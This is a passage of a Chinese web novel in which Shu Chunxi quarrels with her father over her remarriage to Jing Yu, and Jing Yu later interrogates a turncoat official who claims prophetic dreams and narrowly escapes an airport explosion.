“不是。” “那是什么原因,到底为了什么?” 女人没说话了,只是低头看自己的脚尖。 两个人彼此沉默了半晌,舒怀宁再度发问也得不到回答之后,有些语重心长地开始了他的劝说。 原本低着头的女人终于抬首,与父亲投过来的目光交汇在一块儿,嚅动了一下嘴唇,打断了他的长篇大论,只是静静地问他: “我跟他结不结婚,爸爸很在意吗?” 被问这话的人明显愣了一下,没想到会被这么问,紧接着就听到自己的女儿补充了一句,说: “他答应过我,会替舒家翻案的,他不会食言。” 舒怀宁沉默了起来,两手交叉着抵在双膝上,过了好一会儿,才偏头去看舒纯熙,问了一句: “所以,其实是他不愿意复婚?” “他已经承诺会帮我们渡过难关,我想……这真的已经足够了。” 舒纯熙在父亲的目光之中轻轻地摇了摇头,将手中的包放在脚边的地毯上,双手攥成拳头,冷静地说: “请你不要再为难他了,爸爸。” “舒纯熙!” 舒怀宁拔高了些声音,不怒自威地连名带姓叫她,面庞上爬上有点难看又严肃的神情,探究地问: “是敬渝跟你说了什么吗,还是说,这话是他让你来跟我说的?” 攥着手的女人依旧摇头。 舒怀宁无奈地苦笑了一下,点了点头,又问: “那就是你现在要为了他,来质疑你的父亲?” 女人的指尖一颤,咬紧牙关,默默地提醒了一句: “你们的事我不懂,但我不想他因为我为难,就算之前,敬亭也没有……” “可他不是欧罗洲的敬亭,他是掌握着敬家命运的敬渝。” 舒怀宁打断了女儿艰难的措辞。 “您为什么非要这样呢?” 舒纯熙僵着身子站起来,摇了摇头。 “不可以。” 舒怀宁也站起身来,不由分说地扔下一句话。 “谁让他想娶我的女儿呢?” 第66章 “那我就不答应,我不跟他结婚,就在家待一辈子,让你怎样都师出无名!” 舒纯熙跺了跺脚,气急败坏地也拔高了声音,如同一只炸起毛进入防御状态的小猫,但是语调里已然流露出委屈来,瘪着嘴盯着面前的茶几桌面看。 “你要做什么我管不了,我也没有管不是吗?但是你能不能就自己去做,别想着非要让敬渝跟你一起?难道我看不出来吗,他不愿意,他不愿意!” 她边说边抽气,情绪有些激动地按住自己的一只手臂。 原本立在旁边脸色不怎么好的舒怀宁见她这样子,神情不自觉缓和了一点,朝着她靠近一步,伸出想要扶她的手虚虚地托在半空中,语气也低沉下来,慢慢地跟她说: “他愿不愿意,本就由不得他。我不是说了吗,谁让他喜欢我舒怀宁的女儿,想娶她,那他就得付出相应的代价。这件事也不是我说了算的,你自己好好想想,你们结婚后,他难道真有办法跟舒家的一切分割开来吗?” “到那时候,我的一举一动,人家都会猜测是不是也有敬家的深意,同样,他的决策,别人也会猜想这背后是不是有我的授意。这本就是分不开的事情。” 僵直着身躯,舒纯熙收回颤抖的手抵在胸膛上,里面的心越跳越快,轰鸣声快将她耳膜胀破。 “那敬亭呢,要是敬亭没死,你也会这样对他么?” 而敬亭在凛洲根本帮不上他什么。 “……我当时,本就没想过要你去嫁给敬亭!” 舒怀宁咬着牙挤出这句话,难堪地闭上双眼,也就错过了她因而变得苍白的面色。 舒纯熙如遭雷击,心脏仿佛都不能够再如常跳动了一般,动了动嘴唇,但是一个字都发不出来。 过了好一会儿,她才找回自己的声音,喃喃地恨声说: “你这是针对敬渝,你在针对他!” “对,我就是针对他,他要想娶你,就得跟我舒家站在一起,这就是我们所有人的共识!” 女人愣怔着面庞,后退了一步抵在沙发上,“呵呵”地笑了一声,忽然说: “你女儿这么一个明摆的二手货,人家还愿意要就不错了,你凭什么还想拿来做筹码讲条件,真当她有什么不得了的魅力?……” 她话没说完,被迎面而来的一巴掌给掀翻,摔倒在了沙发上面,撞出一声闷哼。 “舒纯熙,你胡扯什么!” 舒怀宁颤着那只手掌,怒不可遏的同时生出一种无措的感受来。 然后就看见女儿用手捂着脸转身站起来,踢开脚边的包,一步一步地朝往外面走。 “纯熙……” 中年男人跟了一步,有些心虚地叫了一声名字。 舒纯熙的手已经握到书房的门把,她没回头,单薄的肩背如蝶翼般轻颤着,冷冷地说: “我说的都是实话。” 房 门打开,女人离开了书房,穿过走廊,上楼。 等到杨曦了解到情况赶来的时候,舒纯熙已经锁了房门。 “宝宝,你爸爸他有病,都是他的错,你打开门让妈妈进去,有什么话跟妈妈好好说。” 里面没有回应。 杨曦登时狠狠地剜了一眼站在楼梯口脸色难看的舒怀宁。 外面持续传来母亲的声音,舒纯熙冷下来的心有些犹豫,但是脸上的泪水跟止不住一样地涌出来,她收着双腿在身前,不停地在拿纸巾擦自己的鼻涕和眼泪。 书房里留下的包袋之中,屏幕不停地亮了又灭,灭了又亮,过了一会儿,又亮起视频通话的界面。 响了许久,最后才不甘心地被那头挂断。 手机的振动止住,一切归于平静。 。 “敬总,舒小姐没接吗?” 副驾驶的郑徽瞄着男人的眼色,小声地询问了一句,其实也是提醒他们该出发了。 敬渝“嗯”了一声,伸手又打字发了条消息报备,发出去没多久,又撤回来,挪动了一下身躯,离窗边近一些,低下头凑在手机听筒边,软着嗓子说: “纯熙,这次是我没考虑好,不是故意惹你生气的,你别因为我气坏身体了。我得去一趟邻市,两三天就回来。等回来我去你家拜访,再好好给你赔礼道歉,好不好?……” 敬渝声音压得够低了,不过副驾驶的男人还是竖起耳朵,甚至在心里记起笔记,试图将不苟言笑的老板如今这种温柔又伏小做低的语气给学到手。 等以后他谈恋爱了,肯定用得上。 原来谈恋爱报备是像这个样子的,郑徽默默地在心里点头,深以为然。 发完消息,敬渝收了手机,再度坐正,闭上眼睛假寐起来。 他们去邻市见周政,敲定最后的细节。 …… 从办公楼出来时,灰蒙蒙的天已经下起小雨,郑徽撑开伞走在前面,将敬渝送上车后,再收伞坐上副驾。 雨幕打在车窗上,留下一粒粒晶莹的水珠。 敬渝从西装内兜里拿出手机,没看到原以为会出现的消息,沉默了片刻,又拨通了视频电话。 一首手机铃声播放完毕,走到尽头,通话被自动挂断。 男人拧起眉头,退出微信的界面,转而打开电话簿,找到舒怀宁的电话打过去。 那头倒是很快就接起来,敬渝捏着眉心,同舒怀宁交代了自己今天的成果,平静地说: “伯父,都沟通好了,下周的国政院例会是个好时机。” 舒怀宁应了一声,然后那头也沉默了一下,问: “你在昼米尔吗?” “不在,应该明天回去。” 今天已经很晚了,他们在往酒店去的路上。 “啊,奥……辛苦你了。” 那头的声音又客套了几句,敬渝眯眼,竟听出点不知所谓来,搭在膝上的手攥了一半,想了想,忽然出声说: “纯熙她,都好吧?今天我说错话了,不知道她是不是还在生气,等我回去,登门向她道歉。” 那头的舒怀宁尬笑一声,言辞闪烁起来。 最后两个男人各怀心思地挂断了电话。 车已经停在酒店地下停车场,敬渝打开门准备下车,忽然一抿唇,还是坐了回去,沉声说: “还是现在回去吧。” 郑徽:“啊?” 。 丁叔不语,只是一味加速。 然后车半夜拐进舒宅。 在门口登记好,敬渝丢下一句话就下了车,往还亮着灯的别墅走去,留下一个隐忍的背影。 现在是半夜十二点半了,本该陷入沉睡的舒宅灯火透明,但敬渝进门时,一楼也没有人。 男人耐着性子在客厅等了一会儿,才听见些许开门的声响,紧接着几不可闻的脚步声响起,杨曦从舒纯熙的房间里走出来,然后走下楼来。 “小渝,你怎么来了?” “伯母。” 眼见着有些疲惫的男人连忙从沙发上起身,迎了两步, “这么晚来叨扰,实在不好意思,只是纯熙没接我的电话,我有点担心她。” “奥,这样啊,你来了也好,上去看看她吧。” 到现在也没睡的女人松了口气,叹声说: “下午她爸爸跟她吵起来了,还打了她一巴掌,我也不知道怎么办才好了。” 敬渝一怔,面上挂着的微笑止住,颔首一息,立刻就抬脚往楼上走去,在门外敲了敲门,沉声说: “是我,我进来了?” 等了会儿,房内也没有传来回答。 敬渝踌躇着将门打开一个缝,轻轻地走进房间。 直到走进床边,才看得见女人在床上侧躺着,头也蒙在整张被子里面,只勾勒出一个弧度来。 下意识便屏住了呼吸,男人克制地握紧双拳,走过去,冲着她的方向在床侧半蹲下去。 “我回来了,宝宝。” 声音有些低迷,缱绻又心疼地说完,便伸手去掀蒙她头的被子。 被子下面,原本用劲揪住背面的双手,也在一瞬卸下力气来,任着他将柔软光滑的被子从手里抽开。 掀开被子,敬渝对上的是一张白里透红的泪面。 泪痕未消,白的是皮肤,红的是眼尾和眼睑,鼻尖,还有她压在下面没有完全展露出来的左脸。 呼吸几近消下去,目光扫在女人巴巴瘪着嘴的模样上,他压下肩背凑近过去,尽量与她平齐,低低地说: “我来迟了,对不起。” 语罢,他即刻起身伸手去抱她,将不配合也不反抗的人从床上拥起来,揽在怀里的瞬间,也就看见她泛着淡红色的左面脸颊。 抿紧嘴,男人伸手覆盖在她面颊上,将她脑袋按在自己怀中,忽然说: “没事,我来了。” 他用带着凉意的手指轻柔地摩挲着她的面庞,将下巴与她的额头紧紧相贴,从喉咙里挤出几个字, “疼么?” 疼,当然疼。 怀里的女人肩背颤动几下,“呜呜”地哭起来,坐起身扑到他身上,双手牢牢揽紧男人的脖颈,同他贴抱在一块儿。 雨势有越来越大的阵仗,放声起来。 “我,呜……我要跟他断绝父女关系!呜呜呜……” 敬渝一愣,仰头抚她发丝的动作停下,小心询问起究竟发生了什么事情。 但问题淹没在哭声里,任他怎样问,都问不出个所以然来。 敬渝将人抱坐在自己腿上,哑声说: “那我去问问伯父,究竟为什么要打我的宝贝。” 第67章 哭声更大,她砸了他一拳,哭闹着: “不许去,不许去!” 他要是去了,说不定直接傻乎乎地就要应下来,那她岂不是白挨打了? 敬渝无奈,面对面同她拥着,便接着说: “那你跟我走,我们回家去住?” “呜呜呜……” 女人的声音逐渐小下去,她哽咽地在男人耳边说: “没有家,我没有家了。” “怎么会呢,说傻话,” 敬渝抬起她头,怜惜地凑上去亲了亲她的下巴,然后覆在耳边说: “我们肯定也会有一个家的,嗯?” 怎料这话只是让一双朦胧的泪眼愈发汹涌,人则抽泣得颤抖着身躯。 男人至此叹了口气,斟酌地说: “是不是,伯父问我们结婚的事情了?” 眼前的女人只是偏头不语,大约是他猜对了。 “要不,我去跟伯父说,是我不想结婚的?” 敬渝敛眸,继而说: “其实你不愿意结婚也没关系的,我想好了,只要我们在一起,其他的都不要紧,我没关系的,我们就这样一辈子,好不好?” “那……” 怀里的人安静下来,似乎是被他这句话里描绘的场景给感染了,吸了吸鼻子,还是不放心,嗡嗡地说: “那你能保证一辈子都听我的话吗?” “好,我保证,一辈子都听你的话,你让我往东,我就往东,你让我往西,我就往西。” 舒纯熙咬紧下唇,嗫嚅着, “那,那我,我是说,如果爸爸要挟你替他做事,你要怎么办?” 敬渝没有立刻回答,目光在女人的脸颊上流连几瞬,脑子里某些关节总算打通。 心里涌上一种不知道该 如何描述的独特情绪,他总算弄明白一点点小青梅在这段时间里近乎扭捏纠结的态度是为何而来了。 又为什么下定决心要跟自己离婚。 大概是她心里舍不得。 她始终是舍不得那样对待他。 光是这样一想,那种酸涩得快要将整个胸膛胀开的感受就要将他给麻痹得彻彻底底。 更遑论,他整日里想不出究竟还有什么可以补偿她的同时,她竟然还替自己抱着不平。 他根本就没关系的,根本不用考虑他的。 可偏偏她就会考虑他。 敬渝裂开嘴笑得有点傻气,眼睛升起雾气来,鼻子在这一秒酸得不行,有点无措地偏开头吸了吸鼻子。 然后才转过头,再度与她紧紧相拥。 “纯熙,现在不管要我付出怎样大的代价,我都不能够再失去你了。” 他退开,盯着怀里人的眼睛,一字一句认真无比地说完这句话,然后将女人明显呆愣的反应尽收眼底,抽出手抹了抹她眼下的泪痕。 “任何人,任何事情都不能再将我从你身边赶走,同样的错误,我绝不可能再犯第二次。所有该承担的事情,都是我应该去面对的,我甘之如饴,我不要你为我为难,也不要你伤心难过,我会处理好的,都交给我。” “可是,” 舒纯熙抹了抹眼底的泪水, “我觉得很对不起你,我不想要这样,到底凭什么呀……” “不,是我对不起你,一直都是我对不起你,” 敬渝去拉她的手紧紧攥住,低沉醇厚的嗓音里饱含着痛苦与歉疚, “该说对不起的人是我,你为我做的已经够多了,不要再为我着想这些了,是我该想办法去赎自己的罪,我愿意,我真的愿意的。 “我现在只想告诉你我的心意。 “舒纯熙,我爱你,我真的很爱你。 “你呢,你也一样地爱我吗?” 说完,他凝视着她,似一片竹叶飘落在空中,静待着自己的归宿。 女人哽咽起来,直起身拥他的脖颈,又松开去亲他的面颊,短短的几个字在哭泣的空隙中挤出来,却带着执拗的坚定, “我也一样爱你……我爱你敬渝。” 泪水夹杂在纠缠粘腻的交吻之中,彼此的嘴里都尝到一点点的咸味。 两个人就为这一点点微不足道的咸,一齐勾唇笑起来。 。 杨曦也没想到,敬渝上楼待了不到半个小时,竟然就能将女儿给哄好了。 离开的时候,舒纯熙跟在敬渝后面出了房门,主动要送他出门去。 舒怀宁和杨曦等在客厅,见两个人下来,都从沙发上站起身,而后目光在两个人交握着的手上流转而过,才落在两个人的面上。 男人俊美清冷的面庞上染着浅浅笑意,而女人的双颊都泛着羞涩的红润,倒是看不出来先前哪一边脸颊挨了一巴掌。 看本就般配的两个人如此情状,舒怀宁跟杨曦都琢磨出点什么来,默默地点头示意,望着女儿将敬渝送出去。 从别墅大门到宅子门口,有一段不远的路程,路灯散发着暖黄色的幽光,两个人并肩走着,尽量将步伐放得缓慢,却还是即将走到了尽头。 舒纯熙心里不免失落,与敬渝十指交握的手挠了挠空气。 不多时,男人揽过她,将她身体一带,两个人便躲到墙下茂密的蔷薇花藤下。 黑得不怎么看得见彼此眼睛里的神色,腰身被男人的大手掌住不放,她讶异又赧然地仰了仰下巴,然后唇瓣被另一股绵软抵住。 来不及听见陡然加快的心跳,男人已经将她唇抵开,浅浅地尝了下。 腰身还抵在一块儿,但两个脑袋很快已经分开来。 “就送到这儿吧,当心喂蚊子了。” 两下平复完冲动的心绪导致的喘息,敬渝拢了拢舒纯熙耳边的发丝,拉着她从花荫里走出来。 在路口分开仿佛又有点不舍,他牵着她的手没放,面不改色地说: “要不然,我送你回去吧?” “嗯?” 舒纯熙笑了,好奇地仰头看他,嘀咕了一句, “那我们到底是谁送谁?” 敬渝也轻笑一声不语,只是跟她往回走。 到了大概一半的地方,身旁的人主动停下脚步,然后点了点他的胳膊,示意她松手。 “好了,我们就在这里分开吧,我回家,你也回去吧……” “嗯,那你先走,我看着你。” “好老土的套路呀!” 吃吃地笑了几声,女人伸手打他一下,轻拍在胸膛上面,要收回来却没那么轻松,因为一只遒劲有力的大掌将她手给拢住了。 敬渝在月光下温柔地凝视着她,语调缓慢,但显然也是不舍地在同她做后面的报备: “下周三国政院有例会,我会提前一天去北省。等我回来的时候,舒家的事情差不多也该了了……到时候,我就来提亲?” 舒纯熙眨了眨眼,有点不好意思地“嗯”了一声。 “新娘子想要什么样的婚礼,穿什么样的婚纱,提前想想?还有什么其他的要求,都记下来告诉准新郎官,嗯?” 他浅笑着,仿佛黑暗里也能看见她面上浮起的薄红,伸手抚了抚她的左脸,最后说: “记得涂药。伯父那边你别担心,我明天会跟他认真谈一谈的,好吗?” “好。” “那,记得要想我?” “……嗯。” 舒纯熙垂着头,想了想,还是凑上前抱了一下他,说: “我很开心。” 他们终于要结婚了。 敬渝的心被拽了一下,软得不成样子,低头亲她的发顶。 “我也很开心……谢谢你,纯熙。” 这一次,舒纯熙好像有一点点懂,他要谢谢自己什么了。 也是隔了好久,她才懂一点竹子的心呢。 她挪动了一下脑袋,拥得更贴紧一些。 。 周三,国政院例会达成重审舒家一事的决议。 周五,众议院、国政院两司会审舒家一案,会议持续了整整两个小时,洁白的大礼堂内众人虽神色各异,但俨然鸦雀无声,等待着最终结果的宣读。 众议院秘书长按下代表身份的印章,文件一式两份,飞速传阅出众议院的大礼堂,飞向不远处的一家酒店,亦飞向全国各地。 散场后,三三两两结伴而行,一阶一阶走下光滑锃亮的白色大理石台阶的过程,总算窃窃私语开来。 “我记得,那个、敬家……不是一向不参与党争的么?” 一位头发花白的老议员眯了眯眼睛,想起方才会上站起来高谈阔论的其中几个人,脑海里的思绪繁杂冗长,最后,总算找到了它的落脚点。 也就将后头的人给揪出来了。 “他们敬家人不总是要搞什么中立的吗?今天这是什么意思,变天了啊?” 老议员的声音颤颤巍巍,在半空中绕啊绕,最终疑惑地看了一眼自己身旁的另一位中年议员。 方才会上,他可是看得明明白白,舒家人既然下了狱,那就是犯了实打实的事,不可能平得了。 如今要硬想平反翻案,那相应的,不管是真是假,总是要换人来承担这一场彻头彻尾的闹剧的。 而这次被拉下来的,就是仇正省的好亲家。 仇正省何其人也?下一届总统的有力候选人之一,风头正盛,如今被活生生地剪掉了一边翅膀,他能一点都不记恨? 敬家人替舒家出手开罪了仇正省,那就是站了队,选择拥护其他人做下一任的总统。 在心中将这桩自己如今已经看不懂的事情咀嚼了好一遍,老议员摇摇头,只道自己过了秋分也就退休了,确实犯不着管这些事情了。 “老先生,这您就不知道了吧,那舒家,如今是敬家家主的岳家,这两家早就是一根绳上的蚂蚱了。” “奥,那倒不奇 怪了。” 苍老的声音应了一句,又啧了一声,叹了一句: “我老啦,看不明白咯……再也看不明白咯。” 。 几百米之外,国宾会馆的一间私密屋子里,祝郧阳听着众议院传来的闭院钟声,一声一声敲在他单薄的脊柱上,仿佛要将他的身子骨都给敲碎了。 “谋划了八九年,好不容易把舒家给拉下野,结果不到一届的时间,人家不仅翻盘回来了,还一脚步入国政中枢……到头来,还真是白忙活一场啊。” 坐在沙发上垂着头的男人噗笑一声,一个多余的眼神也没给站在窗边的祝郧阳,伸手捂住脸,狠狠地抹了一把,拔高音量吼了一句: “现在舒家人一个没少就算了,敬家也站在他们那边,所以反倒是我给他们作了嫁衣裳了?!” “事到如今,也不是没有补救的办法。” 第68章 祝郧阳转过身,朝着沙发那边走过去,望了一眼在房间里依旧戴着鸭舌帽的中年男人,走到侧边的单人沙发前坐了下去,幽暗的眼眸里泛着冷光,语调冰凉地说: “今天这么重要的时候,敬渝肯定来了。现在,只要我们能把他永远地留在北省,不就行了?” “永远地……留在北省?” 仇正省抬起头来,目光里绽着些不可置信的意味,对上祝郧阳已经一脸笃定的神情,声音逐渐小下去,却也平稳不起来了。 “你是说……” 旁边的人已经点了下头,以手抹脖子做了个手势,等着他的决断。 仇正省摇摇头,反驳道: “你当敬家的人都是吃素的?敬渝一旦死了,难保我们不会跟他们彻底结仇,到那个时候,敬家只会更死心塌地地托举洛明阳,跟我们就一定是你死我活了。” 彼时,情况只会比现在还要更差了。 仇正省虽然恼恨敬渝悄无声息地拔掉了自己的爪牙,想要给他个教训瞧瞧,但理智尚存,远不至于真要了结了他的性命。 “舒家的事情,您也看见了,这一两年里,南省换上了一大批敬家的人,我们不都以为,就算做不成朋友,他也绝不会是我们的敌人么? “但是逐渐地,我们的人想从南省里传出来点什么消息,光是探听都够费劲儿的了。事实是什么,他把我们所有人都给骗了!” 祝郧阳咬牙切齿,削瘦的双拳攥在膝盖上,尽力压制住不稳的声调,说: “杀伐果断,不给咱们留一点后路,敬渝此人非同小可,如若他意不在从商,而是把这次的事情,当做他给洛明阳的敲门砖,我们绝不能再坐以待毙,必须先发制人,杀之而后快。” 祝郧阳说的这些,仇正省又何尝不明白呢。 他紧皱着眉头扫了一眼愤慨的青年人,用手指重重地点了点身前的玻璃茶几,要他好好想想自己刚刚说的,便见他很快地露出一个莫名的微笑,凑过来附耳同他说: “这您完全不用担心,我可以保证,除掉敬渝,敬家非但不会与我们结仇,还会转过来同我们做盟友。” “哦?说来听听。” 仇正省露出一点疑惑又探究的神情,当真是被他这话给勾起了兴趣来。 “仇总理,有一位客人两周前从欧罗洲远道而来,早就渴求要见您一面了。” 。 会议散场后。 郑明波走在长长的台阶中段,告别两个寒暄完的同僚,一个人朝右边缓缓行着。 身后一个人脚程快一点,总算追上他,叫了一声“郑院长”。 走在前头的人总算回头,对上朝自己赶来的祝正扬,两个人的目光在半空之中对上。 郑明波点头示意,停下脚步,待到祝正扬在自己身侧半臂的距离站稳后,再同他一道并肩往下行去。 “郑院长,我正要去见敬总,你我一道?” 闻言,被询问的人极短暂地顿了一下,不知想起什么,然后才颔首,淡淡地说: “好,我也正有此意。” “今天你这几句话可真是及时雨力挽狂澜啊,不过我真没想到,怎么会有一个证人临时反水呢?” 郑明波也想起会议之间那惊险万分的一幕,摇了摇头,表示自己也不知道。 说话间,两个人总算走到门口,各自的秘书和车子等在门口,上车后,几辆轿车很快汇入车流之中。 敬渝下榻的酒店并不远,不消几时两人便到了。 中午就在酒店会有一场宴请,敬渝已经在宴会厅里招待陆续到场的客人了。 比起郑明波,祝正扬更活络些,走过去三言两语将会议上发生的事又重复了一遍。 闻言,男人的表情没改,只是回头示意服务生上前,三个人便各取了一杯香槟酒来。 “今天的事全仰仗二位,渝敬二位叔伯。” 语罢,敬渝颔首,将高脚杯放低与两人的酒杯轻碰,而后抿了一小口。 “敬总客气了。” 郑明波也喝了一口,想了想不消几日就会重返官场的老友,心中难免五味杂陈。 他们这批人尚且还不算老呢,敬家内部却已经换上了新一代年轻人。 从前与他们这帮人觥筹交错的是敬永安,如今,已然是眼前这个堪称他侄子辈的敬渝了。 再瞥一眼嘴角含笑的青年人,听了一会儿祝正扬同他谈的话,郑明波朝后走了。 午宴的人情往来繁杂冗长,不过也有些稍微有意思的事情。 席间敬渝就听人说起矮人族娶亲时的规矩,据说求亲的时候男方要带着亲手摘的、比两三个人还要高的芦苇去女方家里,这是头礼,表示男方对女方的重视。 矮人族与人族的合作关系紧密,谈起人家的婚俗并没有什么奇怪的。 反倒是一旁坐着的敬渝思索了起来,他是不是得准备些什么有诚意的东西做头礼? 先前那盆栀子花他养得还行,不过已经送过了,便不能纳入考虑。 两三个人高的芦苇,胜在稀少难寻,他也得好好寻一个充满诚意的头礼来才行。 就这样浅浅思虑着,敬渝将午宴的过场给走完,又将宾客一个个送走。 转过身,折起袖子的男人沉下脸,偏头问了声身边的郑徽,然后快步朝着某个房间走去。 。 周政双手背在身后,用尼龙绳被绑了个动弹不得,坐在一张椅子上面,眼镜下的两眼无神,如何也想不明白,为什么敬渝在办庆功宴,而自己却只能被束缚在这里。 敬渝也想不明白,他走进这个房间的时候,也依旧在困惑,为什么这位周政司会反水。 准确的说,在他今天走进国政院充当证人席的一员之前,他一直都是一副不愿意与舒家人有过多瓜葛的样子。 那本该是他的迷雾弹,因为在更早之前,他们就已经接触过。 可是,这个人竟然真的别有二心。 “周政司……你今天,差点毁了我的大事。” 敬渝拉开另一张椅子坐在他对面,眼里泛着冰冷的幽光, “没有一个解释吗?” 周政已经不知道自己现在该怎么办了,他压根没考虑过,当众反水如果失败的话,后果会是怎样。 更预料不到,从小门出了众议院,他非但没有看见接应自己的人,反而是立刻就被掳上了车,然后就被关到了这里。 此时此刻,面对着敬渝,他才后知后觉,自己完了。 “你不愿意帮我的话,我可以理解,我也不会强人所难。只不过周政司,今天你差点毁了这场会议,这我却不能接受。” 敬渝伸手,从郑徽手里接过一把军刀,抽开来,看了看开过刃的刀片上泛着的冷光。 “你现在有两条路。第一,自己了结,我会善待你的家人。第二,给我一个合理的解释,或许我还会饶你一命。” 周政哆嗦起来,立刻就要开口解释,然后发现自己什么话都说不出来,他“呜呜嗯嗯”了好一会儿,才摇 着头绝望地发现自己想说的话说不出来。 面前矜贵冷漠的男人投来探究的眼神,又转过去看旁边站着的几个人。 唐廪推了下眼镜,说: “如果他不是在装模作样,那可能是精灵族的秘术。” 毕竟刚刚敬渝没来的时候,他还在那里嚷着嗓子叫,所以他哑了这种可能性完全可以排除。 沉默的男人挑了挑眉毛,想了下,忽然问: “你是仇正省的人?” 周政忙不迭点头。 “他授意你假意帮我?” 还是点头。 敬渝不作声了,拧着眉头淡淡地扫他一眼,幽幽地说: “这可不是什么能让我满意的解释啊。” 说完,他闭上双眼,等着周政自己找到些能避开禁制的话,主动开口。 周政在脑子里连忙绕开原以为的救命稻草,尝试着开口,发出声音后连忙说: “敬总,我做过梦,梦里面跟现在不一样!” 对面的男人抬起眼皮子,大概是觉得这个开场白还算有意思,示意他继续说。 周政咽了下唾沫,颤颤巍巍地还是回忆,说: “我好几次都梦到过未来的事情,比如我老婆生二胎的时候会大出血难产而亡,比如某一年我会因为某件事情处理不当而被问罪下狱,种种许多……这是我从小就有的能力,而我也发现在现实生活里只要处理得当,就真的可以规避这些事情。 “我老婆生二胎的时候,我提前叫医院留意库存同血型的血,最终真的母女平安!还有那件工作上的事情,最终被问罪的也不是我,还有……” 房间里,除了滔滔不绝的周政,其余的人交换了眼神,都觉得太玄乎了。 敬渝点了点桌子,接着问: “所以呢,你还梦到什么了?” “就是,就是这几个月的事情,我突然梦到,” 周政垂下头,默默地说: “我梦到敬总和敬太太出席暮帆商会举行的一个重要慈善晚宴。” “所以呢?” 周政支支吾吾地,在触碰到某一句话的时候又发不出来声音,只好拿头碰了碰桌子,有点气急败坏的样子,心一横只好换着法子描述起来: “敬总以前是小麦色的肤色,但在梦里养得白回来一点,而且跟舒小姐关系很好的样子,一直搂着她的腰,舒小姐看上去小腹微隆,至少有四五个月了,敬总生怕她磕了碰了,到了会长上去发言的环节,他还带着舒小姐一起上去发言……” 男人依旧在继续说,反而是敬渝总算握住拳头,又缓缓松开搭在桌上,冷冷地说: “你的意思是,你梦里的敬总,不是我,而是敬亭?” 第69章 回应他的是忙不迭点头的动作,看上去激动得都要哭了。 “你如何确定那是将来会发生的事,不是……过去的事情?” 敬渝下意识同唐廪对视一眼,心绪有些不宁地问。 “是未来,是未来的事!我记得当时我带着一家老小都出席了,我们正在底下讨论我大儿子高考的估分,我绝对不会记错!” “你大儿子今年多大?” “他,他今年刚刚中考啊!” 随着这句话“哇啦”一声被扔出来,宽阔的房间里,空气一时竟然凝滞住了。 如此诡异的梦境,出自一个常做预知梦的人口中,究竟是想表达什么意思? 郑徽瞥着敬渝的脸色,他担心方才的事情,会让老板心里不舒服。 “敬总,我这些都是真话啊,而且这个梦我完完整整地梦到过三四次,这是我做预知梦的象征,那就是会翻来覆去反复出现。 “舒省与我有师生情谊,又提携我,如果不是这个梦,我怎么会下定决心敢这么干呢?……” 周政到底有所保留,希望敬渝能听明白他的未尽之意。 在梦里面,敬亭是会长,舒纯熙是敬亭的妻子。 那就是难听的猜测他没有说出口,要是自己还活着,敬亭又怎么会是暮帆商会的会长,而舒纯熙又怎么还会是他的妻子? 所以,周政并不是简简单单地被利益引诱,而是从他的梦里,他已经看出来,自己没有一丁点的胜算,注定会败北,那他又怎么会有人愿意被他驱使呢? 敬渝脸色不好,深深地望了一眼周政,见他还算老实,站起身,让唐廪继续跟他确认这所谓预知梦的细节,自己则走了出去。 走廊里空无一人,男人脚步如同灌铅,回了房坐在床上,拿出手机来。 舒纯熙不久前给他发了几条消息,应该是估算好了时间。 ——[小猫咪转圈.jpg] ——忙完了吗,在线等,跟你打视频哦。 敬渝勾唇绽开一个笑容,指尖磨动了一下手机棱角,发出了视频邀请。 几乎是立刻,那头接起来。 刚刚洗完头发的人蓬松着乌发出现在摄像头里,对他甜甜地笑,用手抵住脸颊,傲娇地说: “有没有想我?” “想了。” 敬渝点点头,眨眨眼,嗓子里发出的那个音节竟然十分喑哑,他离得近些,又重复了一句, “我想早点回去,想见你。” 还想抱抱你,亲亲你,确认你还在等我,确认你还会在我的身边。 “嗯哼,今天有人来家里送了婚纱的名册,我随便看了看就合上了,准备等你回来再一起去挑,你快点回来嘛。” 她说完,嘴巴一瘪,委屈巴巴地晃动着身体, “你到底什么时候回来!” 敬渝笑了,凝望着屏幕里的人,静静地说: “明天,明天一早的飞机,下飞机我就去找你,给你带了礼物。” “你买了什么啊?” 镜头里的女人微微睁大眼睛,不掩好奇。 “那我现在可不能告诉你,不然岂不是一点惊喜都没有了?” …… 这天夜里几个人几乎都熬夜没睡,唐廪和敬渝又事无巨细地将周政给审了一遍,但是也没有得出来什么明确的结论。 返程时,自然也将周政给带上了。 敬渝始终保持着比往日更沉默的态度,始终在大脑中检索着所有事情的蛛丝马迹。 到了机场,一行人乘坐摆渡车到了飞机旁。 下车的瞬间,脑中闪过电光火石的一些画面,男人贴在裤腿边上的手掌攥紧,忽然想到一种可能性,皱起眉头,问一旁的郑徽: “我们的航班是完全保密的吗?” 郑徽愣了下,点点头,但很快又提醒道: “机场相关的工作人员肯定提前知道。” 不知怎的,一向沉着的老板脸上阴云依旧,几息后,说: “这次先不坐我们自己的飞机,去买机票,乘别的航司回南省。” 语罢,男人就转身朝着相反的方向走,重新上了摆渡车。 老板发了话,自然也没有人有异议,各自跟在后面上了摆渡车,又去了一个人跟司机和地面的工作人员沟通,但是几个人都做不了这决定,需要请示上级。 沟通与等待焦灼的时刻,身后忽然传来一声巨大爆炸声,火焰与黄白色亮光如同火山爆发的熔岩一般涌向天际,遮住那一整片天,随之而来的巨大嗡鸣声“叮咛”地清空所有人耳边的杂音。 “叮咛——” …… 。 这天早晨,舒纯熙没有赖床,起床后就去洗漱。 眼看着差不多到了中午,就提前走到衣柜面前挑衣服。 她有两个占据了将近半面墙的衣橱,里面的衣服塞得满满当当的。 女人在衣橱前忙活,抱出许多件连衣裙,有些面料泛着两种颜色的虹彩,有些柔滑轻巧得如同无物,有些将身段勾勒得无比紧致,有些蓬起来俏皮得很。 她拿着衣架,将衣服一件件放在身前,看着镜子里自己今天画的淡妆,挑剔地换了一件又一件。 塔夫绸不好,穿起来不能跳到他身上跟他抱抱;贴身的雪纺连衣裙不好,会有一点显小肚子,不好不好;这种紫还是有点显黑,明明她本来那么白…… “咚咚。” 有人在房门外敲了敲门,杨曦的声音传了进来, “宝贝,我进来了?” “请进。” 放下手中的衣服,舒纯熙连忙去捞自己有点纠结的两件,一齐拿到手里,朝着门边跑过去,将 两件衣服举起来,问杨曦: “你看哪件更好看?” 杨曦脸上露出一点勉强的笑意,随便指了一件,张了张嘴,有些不知如何开口,就站在门口不动了。 举着衣服的人反而敛了原本的笑意,将衣服待在手臂上,小心翼翼地问: “怎么了?” 杨曦鼻子一酸,转过头揉了揉眼睛,低声说: “小渝,小渝的秘书来了电话,让,让你赶紧去医院。” “什么意思?” 